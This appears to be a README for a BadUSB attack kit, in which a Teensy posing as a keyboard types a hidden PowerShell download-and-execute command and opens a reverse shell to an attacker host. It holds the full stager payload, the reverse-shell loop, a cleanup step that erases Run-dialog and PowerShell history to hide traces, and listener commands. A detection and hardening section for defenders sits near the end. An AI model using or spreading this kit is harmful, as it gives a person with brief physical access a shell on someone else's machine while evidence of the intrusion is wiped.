For authorized testing only. Do not run against systems you do not own.
Threat model
Physical access to an unlocked Windows host for under 10 seconds. Goal: interactive shell back to the attacker without dropping artifacts on disk.
Components
Two parts:
stager/stager.ino: Teensy 3.2 sketch that acts as a USB HID keyboard.shell.ps1: PowerShell reverse shell, hosted over HTTP on the attacker box.
The Teensy registers as a generic keyboard. There is no driver prompt and no AV trigger from the device itself. Windows treats keystrokes from it as user input.
Stage 1: HID injection
USB type set to Keyboard + Mouse + Joystick in Teensyduino. On plug-in:
- Wait 3000 ms for enumeration.
Win + Ropens the Run dialog.- Type the payload character by character at 80 ms per key. Lower delays drop characters on slow USB stacks.
Enterexecutes.
Payload command:
const char PAYLOAD[] =
"powershell -w h -nop -ExecutionPolicy Bypass -c "
"\"&(IEX (New-Object Net.WebClient).DownloadString('http://172.20.10.4:8080/shell.ps1'))\"";
Flags:
| Flag | Effect |
|---|---|
-w h | Hidden window, no console flash |
-nop | Skip the user profile, faster start |
-ExecutionPolicy Bypass | Per-process policy override, no registry write |
IEX + DownloadString | Fetch and eval in memory |
DownloadString returns the body as a string. IEX evaluates it in the current PowerShell session. The script never touches the filesystem, so AMSI string inspection is the main detection surface, not on-disk scanning.
Stage 2: Reverse shell
shell.ps1 opens a TCP socket to the attacker IP and port, then loops:
$client = New-Object System.Net.Sockets.TCPClient($i, $p)
$stream = $client.GetStream()
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$cmd = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$out = (Invoke-Expression $cmd 2>&1 | Out-String)
$sendback = $out + "PS " + (Get-Location).Path + "> "
$bytes = ([text.encoding]::ASCII).GetBytes($sendback)
$stream.Write($bytes, 0, $bytes.Length)
$stream.Flush()
}
Connection is outbound from the victim. Egress filtering, not inbound rules, is what blocks this. On a flat home or coffee shop network, port 6969 outbound is usually allowed.
Invoke-Expression runs the received string in the current session, so it inherits the user token, working directory, and PowerShell modules.
Stage 3: Cleanup
After the shell connects, the Teensy injects a second Run command that wipes two artifacts:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Holds the last commands typed into the Run dialog.%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt. Plaintext log of every interactive PowerShell command, written by PSReadLine.
Removal is silent and non-blocking. The shell session is unaffected because it runs under a separate powershell.exe process spawned by the first Run command.
Attack chain
Teensy plugged in
> enumerated as USB keyboard
> Win+R opens Run
> PowerShell one-liner typed and executed
> shell.ps1 downloaded and IEX'd in memory
> TCP connect-back to attacker:6969
> attacker gets interactive shell
> Teensy wipes RunMRU and PSReadLine history
Total time from plug-in to shell: about 6 seconds.
Detection surface
What flags this in a defended environment:
- AMSI scans the script body after
DownloadStringreturns. PlainIEXof a known reverse-shell pattern is fingerprinted by Defender. - EDR: parent-child anomaly.
explorer.exespawningpowershell.exewith-w h -nop -ExecutionPolicy Bypassand anIEX+DownloadStringargument is a high-confidence signature. - USB device control: enterprise endpoints often whitelist HID by VID/PID. A Teensy 3.2 reports as
0x16C0:0x0483, which is not on standard vendor lists. - Network: outbound connection to a non-RFC1918 IP on a high port from
powershell.exeis logged by Sysmon event 3.
Hardening notes for defenders
- Enable Constrained Language Mode for non-admin users. It breaks
Invoke-Expressionon arbitrary script bodies. - Set
Set-PSReadLineOption -HistorySaveStyle SaveNothingfor high-risk hosts, or audit the file. - Block Run dialog via
NoRungroup policy on kiosk and shared workstations. - USB HID device control via Intune or third-party agent.
- Egress filter on workstation VLANs. Allow only 80/443 to known proxies.
Configuration
Two values to change before use:
stager/stager.ino: IP and port insidePAYLOAD.shell.ps1: default$i(IP) and$p(port).
Attacker side:
python3 -m http.server 8080 # serves shell.ps1
nc -lvnp 6969 # catches the reverse shell
Flash stager.ino with USB Type set to Keyboard + Mouse + Joystick and the keyboard layout matching the target locale. Wrong layout means wrong characters typed and the payload fails silently.